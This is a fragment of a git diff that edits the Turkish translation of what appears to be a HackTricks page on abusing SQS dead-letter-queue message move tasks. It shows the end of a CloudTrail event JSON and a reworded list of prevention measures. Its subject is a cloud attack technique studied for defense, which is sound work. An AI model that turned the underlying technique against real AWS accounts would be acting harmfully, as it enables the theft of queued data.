||||
```json
|
||||
{
|
||||
"eventName": "StartMessageMoveTask",
|
||||
@@ -142,9 +144,11 @@ done
|
||||
}
|
||||
}
|
||||
```
|
||||
### Önleme
|
||||
1. **En Az Ayrıcalık**: `sqs:StartMessageMoveTask` izinlerini yalnızca gerekli rollere kısıtlayın
|
||||
2. **DLQ'ları İzleyin**: Olağandışı DLQ etkinliği için CloudWatch alarmı kurun
|
||||
3. **Hesaplar Arası Politikalar**: Hesaplar arası erişime izin veren SQS kuyruk politikalarını dikkatle gözden geçirin
|
||||
4. **DLQ'leri Şifreleyin**: SSE-KMS kullanın ve sınırlı anahtar politikaları uygulayın
|
||||
5. **Düzenli Temizlik**: Hassas verilerin DLQ'lerde süresiz birikmesine izin vermeyin
|
||||
### Önlemler
|
||||
1. **En Az Yetki (Least Privilege)**: `sqs:StartMessageMoveTask` izinlerini yalnızca gerekli rollere sınırlayın
|
||||
2. **DLQ'ları İzleyin**: Olağandışı DLQ etkinliği için CloudWatch alarmları kurun
|
||||
3. **Hesaplar Arası Politikalar**: Cross-account erişime izin veren SQS kuyruk politikalarını dikkatle inceleyin
|
||||
4. **DLQ'ları Şifreleyin**: Kısıtlı anahtar politikalarıyla SSE-KMS kullanın
|
||||
5. **Düzenli Temizlik**: Hassas verilerin DLQ'larda süresiz birikmesine izin vermeyin
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user